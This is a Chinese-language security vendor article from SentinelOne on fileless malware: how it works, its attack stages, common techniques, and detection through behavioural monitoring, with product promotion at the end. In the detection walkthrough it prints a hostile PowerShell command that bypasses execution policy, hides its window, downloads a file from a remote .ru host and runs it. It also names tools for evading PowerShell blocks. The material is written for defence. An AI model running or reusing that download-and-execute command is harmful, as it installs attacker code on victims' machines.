Skip to main content
威脅情報

什麼是無檔案惡意軟體?如何偵測與防範?

無檔案惡意軟體無需傳統檔案即可運作,因此更難以偵測。了解其手法以及如何防禦這種不斷演變的威脅。

作者 SentinelOne
什麼是無檔案惡意軟體?如何偵測與防範?

無檔案惡意軟體無需傳統檔案即可運作,因此難以偵測。本指南將探討無檔案惡意軟體的運作方式、感染方法,以及它對組織帶來的風險。

了解有效的偵測與預防策略,以對抗這種隱匿威脅。理解無檔案惡意軟體對於強化網路安全防禦至關重要。

SentinelOne H1 2018 Enterprise Risk Index Report 顯示,1 月至 6 月期間,基於無檔案的攻擊增加了 94%。PowerShell 攻擊從 2018 年 5 月每 1,000 個端點 2.5 次攻擊,激增至 6 月每 1,000 個端點 5.2 次攻擊。

在過去幾年中,threat actors 越來越多地轉向無檔案惡意軟體,作為一種高效的替代方案。

什麼是無檔案惡意軟體?

無檔案惡意軟體是指惡意程式碼,除了端點檔案系統中原本已存在的檔案外,不需要使用可執行檔。 它通常會被注入某個執行中的程序,並且僅在 RAM 中執行。由於其足跡極低且沒有可供掃描的檔案,這使得傳統防毒軟體和其他端點安全產品更難以偵測或防止它。

其中一個例子 影響了美國、加拿大和歐洲,攻擊者發起了一場垃圾郵件活動,投遞會在開啟時執行巨集的惡意 Word 文件,並在此過程中傳送無檔案惡意軟體。在這類案例中,無檔案指的是攻擊者利用 Windows PowerShell 直接將可執行檔載入記憶體,而不是將其寫入磁碟(在磁碟上時,普通惡意軟體掃描器即可偵測到)。

還有許多其他方式可以在裝置上執行程式碼,而無需使用可執行檔。這些方式通常會利用作業系統可用且受信任的系統程序。

以下是幾個範例:

  • VBScript
  • JScript
  • 批次檔
  • PowerShell
  • Windows Management Instrumentation (WMI)
  • Mshta 和 rundll32(或其他能夠執行惡意程式碼的 Windows 已簽署檔案)

隱藏在文件中的惡意軟體也是基於無檔案的攻擊

除了利用系統檔案執行惡意程式碼的無檔案型攻擊之外,另一種常見且被視為無檔案的攻擊類型,是隱藏在文件中的惡意軟體。雖然這類資料檔案本不允許執行程式碼,但 Microsoft Office 和 PDF 閱讀器中存在可被對手利用以取得程式碼執行的弱點。例如,受感染的文件可能會觸發惡意的 PowerShell 命令。文件中也有一些內建功能允許執行程式碼,例如 巨集 和 DDE attack。

無檔案惡意軟體如何運作?

在實際環境中,最常見的無檔案惡意軟體形式,是受害者點擊電子郵件或詐騙網站中的垃圾連結。

接著,該連結或網站會載入 Flash 應用程式,並實施相應的漏洞利用以感染使用者的機器。之後,惡意軟體會使用 shellcode 執行命令,使其僅在記憶體中下載並執行承載程式。

這表示其活動不會留下任何痕跡。 視駭客的目標而定,該惡意軟體可能會危害敏感資料、對受害者的電腦造成損害,或執行其他有害行為,例如資料竊取與加密。

駭客通常會偽裝成值得信賴或熟悉的來源,以說服受害者點擊其提供的連結。這在正式環境中特別有效,因為受害者會相信是其公司中的員工或主管正在聯絡他們。

這裡的關鍵重點是,這類惡意軟體攻擊依賴社交工程才能成功。

無檔案惡意軟體的特徵

這類惡意軟體會利用電腦上已存在的程式。其行為無法被啟發式掃描器偵測,而且沒有可識別的程式碼或特徵碼。

此外,無檔案惡意軟體會駐留在系統記憶體中。

為了運作,它會利用受感染作業系統的程序。更進階的無檔案惡意軟體也可以與其他類型的惡意軟體結合,以促成複雜的網路攻擊。在適當情況下,它甚至可以同時繞過白名單與沙箱機制。

無檔案惡意軟體攻擊的階段

無檔案惡意軟體攻擊在其運作方式上相當獨特。了解其運作方式有助於組織在未來防範無檔案惡意軟體攻擊。讓我們來看看您應該了解的內容。

1. 惡意軟體取得對機器的存取權

在威脅行為者能夠完整執行其惡意軟體攻擊之前,他們必須先取得受害者機器的存取權,通常是透過 網路釣魚 電子郵件或社交工程手法。完成後,他們便可開始實施此流程的其他階段。

另一種取得受害者機器存取權的方式,是透過遭入侵的憑證。 透過竊取憑證,駭客可以自由存取系統,並利用這些資訊存取其他環境。例如,取得對機器的初始存取權可能無法讓駭客獲得所需權限,但他們可能能取得憑證,藉此獲取這些資料。

2. 程式建立持續性

取得存取權後,惡意軟體會建立後門,讓駭客可在其方便時存取該機器。此動作的主要目的是避免失去對裝置的存取權,以便能在長時間內持續蒐集資訊。

3. 資料外洩

最後一個階段是資料外洩。在攻擊者找到所需資訊後,資料接著會被外洩至另一個環境。這使他們能在長時間內於不被察覺的情況下取得敏感資料,並且可依需要反覆執行。

常見的無檔案惡意軟體技術

深入了解不同技術將有助於您學習如何在未來辨識攻擊。以下是六種可利用無檔案能力來提升規避偵測能力的惡意軟體類型:

1. 常駐記憶體惡意軟體

透過使用真實 Windows 檔案的記憶體空間,攻擊者可以載入惡意程式碼,使其保持休眠直到被啟動。 其無檔案特性在於,標準的檔案掃描防毒軟體無法偵測到該惡意軟體。

2. Rootkits

由於 rootkits 存在於核心而非檔案中,因此它們具備強大的規避偵測能力。它們是 100% 無檔案,但隨著此類別的演進,仍歸入此分類。

3. Windows 登錄檔惡意軟體

如同上述範例所提到的,這些攻擊會利用 Windows 登錄檔資料庫,其中儲存了各種應用程式的低階設定。惡意軟體依賴透過檔案執行的程式碼,但此檔案會在執行後設定為自我刪除,使惡意軟體得以無檔案形式持續存在。

4. 偽造憑證

顧名思義,此攻擊涉及使用來自合法使用者的遭入侵憑證(亦即遭竊的使用者名稱與密碼)。在駭客取得系統存取權後,他們會實作 shellcode 以利對該機器發動攻擊。

在極端情況下,他們甚至可能將程式碼置於登錄檔中,以建立對電腦的持續存取。

5. 無檔案勒索軟體

對於不熟悉這類惡意軟體的人來說,ransomware 是駭客用來向受害者勒索金錢的惡意程式。 他們通常會加密敏感資料,並威脅若未支付特定金額(通常透過加密貨幣),就會刪除資料。

當這類無檔案攻擊發生時,駭客可以在完全不寫入機器磁碟的情況下發動攻擊。這使得在為時已晚之前很難察覺。

6. 漏洞利用工具包

威脅行為者使用一組稱為漏洞利用工具包的工具,來利用受害者電腦上的弱點。這些攻擊通常會像典型的無檔案惡意軟體攻擊一樣開始,也就是說,他們通常會誘使使用者點擊詐騙連結。

一旦程式能夠滲透進機器,漏洞利用工具包便可掃描系統,以判定可利用的弱點,接著擬定一組特定的漏洞利用方式來部署。很多時候,惡意軟體會在未被偵測的情況下取得對系統與資料的廣泛存取權。

企業面臨的問題

無檔案惡意軟體之所以如此棘手,其中一個原因是安全性產品無法直接封鎖這類攻擊所利用的系統檔案或軟體。 例如,如果安全管理員封鎖 PowerShell,IT 維運將會受到影響。同樣地,封鎖 Office 文件或 Office 巨集也會如此,而且很可能對業務持續運作造成更大的衝擊。

較低的足跡,以及缺乏可供掃描的「外來」可執行檔,使傳統 AV 和其他端點安全性產品難以偵測或防止這類攻擊。

供應商面臨的問題

企業了解,若缺乏對無檔案惡意軟體的有效防護,可能會使其組織處於極度脆弱的狀態。因此,安全性供應商承受了必須處理這項日益增長威脅的壓力,並建立了各式各樣的修補措施,以宣稱(或展示)其對「無檔案攻擊」的涵蓋能力。

不幸的是,許多這類解決問題的嘗試都不夠理想。以下是一些標準解決方案,以及它們為何不足:

封鎖 PowerShell

如上所述,PowerShell 已成為 IT 團隊不可或缺的工具,並且在很大程度上已取代 Microsoft 舊有的 cmd 工具,成為預設命令列公用程式。  封鎖它將對 IT 團隊造成嚴重干擾。更重要的是,從防禦角度來看,封鎖它將是徒勞無功的: 有許多公開來源說明如何繞過 PowerShell 執行原則,以及其他可繞過 PowerShell.exe 封鎖的使用方式。 舉幾個例子:

  • 僅使用 dll 執行 PowerShell,透過簡單的 rundll32 命令並使用 PowerShdll
  • 使用像這樣的工具,將 PowerShell 指令碼轉換為其他 EXE 檔案 PS2EXE
  • 使用惡意軟體,其利用自身的 PowerShell.exe 副本或修改本機 PowerShell,以避免安全產品識別 PowerShell
  • 將 PowerShell 指令碼嵌入 PNG 檔案的像素中,並產生單行命令以使用 Invoke-PSImage

封鎖 MS Office 巨集檔案

為了消除此攻擊向量,Microsoft 新增了一個選項 可將巨集停用為網站設定(自 Office 2016 起)。然而,大多數環境仍允許使用巨集,因此安全廠商主要以兩種方式處理此問題:

  • 全面封鎖巨集 – 這會對可在無需巨集情況下運作的組織,強制實施 Microsoft 提供的相同限制
  • 擷取巨集程式碼以進行靜態分析或信譽檢查 – 這在某些情況下可行。然而,此方法的缺點是,這類程式碼極難在可接受的誤判率內進行分類與偵測,尤其是對於前所未見的惡意巨集。此外,良性與惡意程式碼的儲存庫非常少。另一個選項是尋找攻擊中常見的通用函式,但同樣地,這些函式具有變化性且未被廣泛編目

伺服器端偵測

有些產品僅使用代理程式端監控,並在伺服器或雲端做出決策。此方法與任何未在端點上發生的偵測具有相同缺點。主要是,若要運作,它需要連線能力,而且無法進行預防,因為代理程式必須等待伺服器回應後才能採取行動。

如何偵測無檔案惡意軟體

對於傳統防毒軟體與舊式資安產品而言,無檔案惡意軟體是最難偵測的威脅之一,因為它可以規避舊式的基於特徵碼的偵測、白名單以及沙箱安全方法。

讓您的組織免受無檔案惡意軟體侵害的一個好方法,是擁有一支威脅狩獵團隊 主動搜尋惡意軟體。

攻擊指標會被遮蔽並混雜在組織環境中。這可能以多種方式出現在系統中,而要找出無檔案惡意軟體,則需要對威脅有深入理解。

行為,而非身分

關鍵在於觀察端點上執行之程序的行為,而不是檢查機器上的檔案。這之所以有效,是因為儘管惡意軟體變種數量龐大且持續增加,它們的運作方式卻非常相似。惡意軟體行為的數量遠少於惡意檔案可能呈現的樣貌數量,因此此方法適合用於預防與偵測。

雖然 SentinelOne 使用 多重引擎,包括靜態與行為式 AI,但行為式方法在偵測與預防此類攻擊方面極為出色,因為它不受攻擊向量影響。

此方法的有效性可從 WannaCry 這類攻擊活動的案例中得到證明;在該勒索軟體於真實環境中被發現之前,SentinelOne 就已能保護客戶。

Callout Background Image Gradient

Enhance Your Threat Intelligence

See how the SentinelOne threat-hunting service WatchTower can surface greater insights and help you outpace attacks.

SentinelOne 如何阻止無檔案惡意軟體

SentinelOne 在核心層級監控代理程式端的所有活動,以區分惡意與良性活動。由於代理程式已掌握完整內容:使用者、程序、命令列引數、登錄、磁碟上的檔案以及外部通訊,因此任何惡意活動都能被完全緩解。SentinelOne 可以回復所有惡意行為,並讓使用者在乾淨的裝置上工作。

本質上,SentinelOne 可讓您免除在整個網路中維持網路不受惡意程式碼污染的隱藏成本。

主動內容

為了有效實作此方法,SentinelOne 採用「StoryLine」概念,以解決將惡意活動責任歸因於根本原因的問題。

例如,假設使用者透過 Outlook 下載了一個惡意附件,接著該附件嘗試加密磁碟上的檔案。在此情境中,將 Outlook 作為父程序進行歸責與隔離,將會錯失惡意活動的真正來源。相反地,應將 Outlook 納入鑑識資料的來源以供顯示,但不應對其採取緩解措施。不過,您確實會希望緩解整個威脅群組,無論是否有其他檔案被投放、登錄機碼被建立,或任何其他有害行為。

使用 StoryLine 可讓我們判定特定惡意流程的根本原因——並將責任指向該原因——無論是否涉及檔案,並讓客戶能準確處理事件。

偵測與緩解逐步解說

讓我們逐步檢視一個流程:使用者透過加密電子郵件收到一份 Word 文件。使用者認識寄件者,因此將文件下載到其桌面並開啟。當他開啟檔案後,會看到以下內容:

一旦按下「Yes」,攻擊便開始了。讓我們看看 SentinelOne 代理程式偵測到什麼(此範例以 Detect 模式執行)。

管理員可以精確檢視此事件中涉及的每個元素是如何促成這次攻擊的。

SentinelOne 會顯示叫用 PowerShell 命令的確切命令列:

-ExECUtiONpOlIcy BYpAsS -NoPROfILE -WInDOWSTYLe HIdDEN (neW-oBJeCT SysTem.NeT.weBcliENT).doWNlOADfilE('http://v32gy.worldnews932.ru/file/nit.nbv','C:UsersadminAppDataRoaming.exE');START-proceSS 'C:UsersadminAppDataRoaming.exE'

在真實情境中,SentinelOne agent 會立即緩解此問題。這會自動發生,無需管理員採取任何動作。管理員會透過簡訊、SIEM 或電子郵件收到通知。

結論

最終,對手總是會採取最短路徑來入侵端點,以最少的努力獲得最高的回報。無檔案惡意軟體正迅速成為最受歡迎的方式之一,而為了防止此類攻擊,僅封鎖像 PowerShell 這樣的關鍵操作是不夠的。這正是 SentinelOne 真正發揮優勢之處——基於行為式 AI 偵測與分層式安全防護,可在本機涵蓋漏洞利用、巨集文件、漏洞利用工具包、PowerShell、PowerSploit,以及 零時差漏洞,且不會影響員工的日常生產力。

申請示範 並進一步了解 SentinelOne 如何保護您免受無檔案惡意軟體與零時差攻擊!

無檔案惡意軟體常見問題

無檔案惡意軟體是在記憶體中運作且不依賴儲存在磁碟上的檔案的惡意程式碼。它會濫用 PowerShell 或 WMI 等合法工具來執行攻擊,幾乎不留下任何可供傳統防毒軟體偵測的痕跡。攻擊者利用它來規避偵測並維持持續性,直到達成目的。

釣魚電子郵件會在 Word 文件中投放惡意巨集。該巨集會直接在記憶體中執行 PowerShell 指令碼、下載酬載,並建立後門——全程都不會將檔案儲存到磁碟上。此攻擊會濫用受信任的系統程序,使標準安全工具更難以發現。

無檔案惡意軟體可以竊取資料、部署勒索軟體、安裝後門,或讓攻擊者完全控制您的系統。由於它使用合法程序且很少接觸磁碟,因此難以偵測,並且可在記憶體中存活很長時間,讓攻擊者得以維持存取權或進一步橫向深入您的網路。

常見技術包括濫用 PowerShell、WMI、Windows Registry 和巨集。攻擊者會使用反射式 DLL 注入、惡意指令碼,以及 living-off-the-land binaries (LOLBins) 來避免寫入檔案。

他們也可能使用排程工作或常駐記憶體的漏洞利用,因此酬載會在重新開機或終止程序後消失。

您可以監控可疑的指令碼活動、不尋常的 PowerShell 或 WMI 使用情況,以及記憶體異常。端點偵測與回應 (EDR) 平台可透過記錄命令列活動與程序行為來提供協助。請留意新的排程工作、登錄機碼變更,以及可能指向無檔案操作的非預期網路連線。

系統可能執行緩慢、在記憶體中顯示未知程序,或產生異常的網路流量。您可能會看到非預期的 PowerShell 或 WMI 活動、新的排程工作,或登錄機碼修改。傳統防毒軟體不會發現太多內容,因此您需要尋找行為線索與系統不穩定的跡象。

停用不必要的指令碼工具、限制使用者權限,並讓所有軟體保持最新狀態。使用 EDR 解決方案來監控記憶體與指令碼使用情況。訓練您的員工不要開啟可疑的電子郵件或附件。

預設封鎖巨集,並定期稽核您的系統是否有異常行為與開啟中的網路連線。

深入了解 威脅情報

Decorative background gradient

準備好徹底革新您的安全營運了嗎?

了解 SentinelOne AI SIEM 如何將您的 SOC 轉型為自主化的強大中樞。立即聯絡我們以取得個人化示範,親眼見證安全防護的未來如何實現。
Dark dashboard UI with purple-highlighted nav, summary cards showing 149, 7, 78, 56, 1.2 h, and a status table with linked purple text